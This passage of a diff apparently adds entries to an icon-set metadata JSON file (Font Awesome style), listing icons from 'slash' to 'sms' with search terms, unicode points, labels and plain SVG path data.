90.2-93.5 31.3z" + } + }, + "free": [ + "brands" + ] + }, + "slash": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cancel", + "close", + "mute", + "off", + "stop", + "x" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f715", + "label": "Slash", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635702, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M594.53 508.63L6.18 53.9c-6.97-5.42-8.23-15.47-2.81-22.45L23.01 6.18C28.43-.8 38.49-2.06 45.47 3.37L633.82 458.1c6.97 5.42 8.23 15.47 2.81 22.45l-19.64 25.27c-5.42 6.98-15.48 8.23-22.46 2.81z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M594.53 508.63L6.18 53.9c-6.97-5.42-8.23-15.47-2.81-22.45L23.01 6.18C28.43-.8 38.49-2.06 45.47 3.37L633.82 458.1c6.97 5.42 8.23 15.47 2.81 22.45l-19.64 25.27c-5.42 6.98-15.48 8.23-22.46 2.81z" + } + }, + "free": [ + "solid" + ] + }, + "sleigh": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "christmas", + "claus", + "fly", + "holiday", + "santa", + "sled", + "snow", + "xmas" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7cc", + "label": "Sleigh", + "svg": { + "solid": { + "last_modified": 1628088635703, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M612.7 350.7l-9.3-7.4c-6.9-5.5-17-4.4-22.5 2.5l-10 12.5c-5.5 6.9-4.4 17 2.5 22.5l9.3 7.4c5.9 4.7 9.2 11.7 9.2 19.2 0 13.6-11 24.6-24.6 24.6H48c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h516c39 0 73.7-29.3 75.9-68.3 1.4-23.8-8.7-46.3-27.2-61zM32 224c0 59.6 40.9 109.2 96 123.5V400h64v-48h192v48h64v-48c53 0 96-43 96-96v-96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-96v64c0 35.3-28.7 64-64 64h-20.7c-65.8 0-125.9-37.2-155.3-96-29.4-58.8-89.6-96-155.3-96H32C14.3 32 0 46.3 0 64s14.3 32 32 32v128z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M612.7 350.7l-9.3-7.4c-6.9-5.5-17-4.4-22.5 2.5l-10 12.5c-5.5 6.9-4.4 17 2.5 22.5l9.3 7.4c5.9 4.7 9.2 11.7 9.2 19.2 0 13.6-11 24.6-24.6 24.6H48c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h516c39 0 73.7-29.3 75.9-68.3 1.4-23.8-8.7-46.3-27.2-61zM32 224c0 59.6 40.9 109.2 96 123.5V400h64v-48h192v48h64v-48c53 0 96-43 96-96v-96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-96v64c0 35.3-28.7 64-64 64h-20.7c-65.8 0-125.9-37.2-155.3-96-29.4-58.8-89.6-96-155.3-96H32C14.3 32 0 46.3 0 64s14.3 32 32 32v128z" + } + }, + "free": [ + "solid" + ] + }, + "sliders-h": { + "changes": [ + "4.1", + "5.0.0", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "adjust", + "settings", + "sliders", + "toggle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1de", + "label": "Horizontal Sliders", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635703, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496 384H160v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h80v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h336c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160h-80v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h336v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h80c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160H288V48c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h208v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496 384H160v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h80v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h336c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160h-80v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h336v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h80c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160H288V48c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h208v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "slideshare": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1e7", + "label": "Slideshare", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722337, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z" + } + }, + "free": [ + "brands" + ] + }, + "smile": { + "changes": [ + "3.1", + "5.0.0", + "5.0.9", + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "approve", + "emoticon", + "face", + "happy", + "rating", + "satisfied" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f118", + "label": "Smiling Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635704, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm194.8 170.2C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.6-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.4-16.2 38.1 4.2 24.6 20.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm194.8 170.2C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.6-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.4-16.2 38.1 4.2 24.6 20.5z" + }, + "regular": { + "last_modified": 1628088635004, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm4 72.6c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.1-8.4-25.3-7.1-33.8 3.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm4 72.6c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.1-8.4-25.3-7.1-33.8 3.1z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "smile-beam": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "happy", + "positive" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f5b8", + "label": "Beaming Face With Smiling Eyes", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635704, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM112 223.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zm250.8 122.8C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.3 24.6 20.5zm6.2-118.3l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.6 8.6-11 11.9-15.1 4.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM112 223.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zm250.8 122.8C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.3 24.6 20.5zm6.2-118.3l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.6 8.6-11 11.9-15.1 4.5z" + }, + "regular": { + "last_modified": 1628088635004, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm84-143.4c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.6-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.2-8.4-25.3-7.1-33.8 3.1zM136.5 211c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.4 1.1 7.4-.5 9.3-3.7l9.5-17zM328 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm84-143.4c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.6-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.2-8.4-25.3-7.1-33.8 3.1zM136.5 211c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.4 1.1 7.4-.5 9.3-3.7l9.5-17zM328 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "smile-wink": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "happy", + "hint", + "joke" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f4da", + "label": "Winking Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635704, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm158.5 16.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.7 11.1-11.4 18.3-19.8 10.8l-9.7-8.5zM157.8 325.8C180.2 352.7 213 368 248 368s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.2 24.6 20.5C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11.2-36.7 24.6-20.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm158.5 16.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.7 11.1-11.4 18.3-19.8 10.8l-9.7-8.5zM157.8 325.8C180.2 352.7 213 368 248 368s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.2 24.6 20.5C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11.2-36.7 24.6-20.4z" + }, + "regular": { + "last_modified": 1628088635004, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm117.8-146.4c-10.2-8.5-25.3-7.1-33.8 3.1-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-60c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm117.8-146.4c-10.2-8.5-25.3-7.1-33.8 3.1-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-60c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "smog": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "dragon", + "fog", + "haze", + "pollution", + "smoke", + "weather" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f75f", + "label": "Smog", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635705, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 368H80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm-480 96H16c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h128c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm416 0H224c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h336c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zM144 288h156.1c22.5 19.7 51.6 32 83.9 32s61.3-12.3 83.9-32H528c61.9 0 112-50.1 112-112S589.9 64 528 64c-18 0-34.7 4.6-49.7 12.1C454 31 406.8 0 352 0c-41 0-77.8 17.3-104 44.8C221.8 17.3 185 0 144 0 64.5 0 0 64.5 0 144s64.5 144 144 144z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 368H80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm-480 96H16c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h128c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm416 0H224c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h336c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zM144 288h156.1c22.5 19.7 51.6 32 83.9 32s61.3-12.3 83.9-32H528c61.9 0 112-50.1 112-112S589.9 64 528 64c-18 0-34.7 4.6-49.7 12.1C454 31 406.8 0 352 0c-41 0-77.8 17.3-104 44.8C221.8 17.3 185 0 144 0 64.5 0 0 64.5 0 144s64.5 144 144 144z" + } + }, + "free": [ + "solid" + ] + }, + "smoking": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "cancer", + "cigarette", + "nicotine", + "smoking status", + "tobacco" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f48d", + "label": "Smoking", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635705, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M632 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8zM553.3 87.1c-5.7-3.8-9.3-10-9.3-16.8V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v62.3c0 22 10.2 43.4 28.6 55.4 42.2 27.3 67.4 73.8 67.4 124V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-65.5-32.4-126.2-86.7-162.6zM432 352H48c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h384c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zm-32 112H224v-64h176v64zm87.7-322.4C463.8 125 448 99.3 448 70.3V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v66.4c0 43.7 24.6 81.6 60.3 106.7 22.4 15.7 35.7 41.2 35.7 68.6V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-43.3-21-83.4-56.3-108.1zM536 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M632 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8zM553.3 87.1c-5.7-3.8-9.3-10-9.3-16.8V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v62.3c0 22 10.2 43.4 28.6 55.4 42.2 27.3 67.4 73.8 67.4 124V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-65.5-32.4-126.2-86.7-162.6zM432 352H48c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h384c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zm-32 112H224v-64h176v64zm87.7-322.4C463.8 125 448 99.3 448 70.3V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v66.4c0 43.7 24.6 81.6 60.3 106.7 22.4 15.7 35.7 41.2 35.7 68.6V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-43.3-21-83.4-56.3-108.1zM536 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8z" + } + }, + "free": [ + "solid" + ] + }, + "smoking-ban": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "ban", + "cancel", + "no smoking", + "non-smoking" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f54d", + "label": "Smoking Ban", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635705, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 304c0 8.8 7.2 16 16 16h117.5l-96-96H112c-8.8 0-16 7.2-16 16v64zM256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm0 448c-105.9 0-192-86.1-192-192 0-41.4 13.3-79.7 35.7-111.1l267.4 267.4C335.7 434.7 297.4 448 256 448zm45.2-192H384v32h-50.8l-32-32zm111.1 111.1L365.2 320H400c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16H269.2L144.9 99.7C176.3 77.3 214.6 64 256 64c105.9 0 192 86.1 192 192 0 41.4-13.3 79.7-35.7 111.1zM320.6 128c-15.6 0-28.6-11.2-31.4-25.9-.7-3.6-4-6.1-7.7-6.1h-16.2c-5 0-8.7 4.5-8 9.4 4.6 30.9 31.2 54.6 63.3 54.6 15.6 0 28.6 11.2 31.4 25.9.7 3.6 4 6.1 7.7 6.1h16.2c5 0 8.7-4.5 8-9.4-4.6-30.9-31.2-54.6-63.3-54.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M96 304c0 8.8 7.2 16 16 16h117.5l-96-96H112c-8.8 0-16 7.2-16 16v64zM256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm0 448c-105.9 0-192-86.1-192-192 0-41.4 13.3-79.7 35.7-111.1l267.4 267.4C335.7 434.7 297.4 448 256 448zm45.2-192H384v32h-50.8l-32-32zm111.1 111.1L365.2 320H400c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16H269.2L144.9 99.7C176.3 77.3 214.6 64 256 64c105.9 0 192 86.1 192 192 0 41.4-13.3 79.7-35.7 111.1zM320.6 128c-15.6 0-28.6-11.2-31.4-25.9-.7-3.6-4-6.1-7.7-6.1h-16.2c-5 0-8.7 4.5-8 9.4 4.6 30.9 31.2 54.6 63.3 54.6 15.6 0 28.6 11.2 31.4 25.9.7 3.6 4 6.1 7.7 6.1h16.2c5 0 8.7-4.5 8-9.4-4.6-30.9-31.2-54.6-63.3-54.6z" + } + }, + "free": [ + "solid" + ] + }, + "sms": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "chat", + "conversation", + "message", + "mobile", + "notification", + "phone", + "sms", + "texting" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7cd", + "label": "SMS", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635705, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 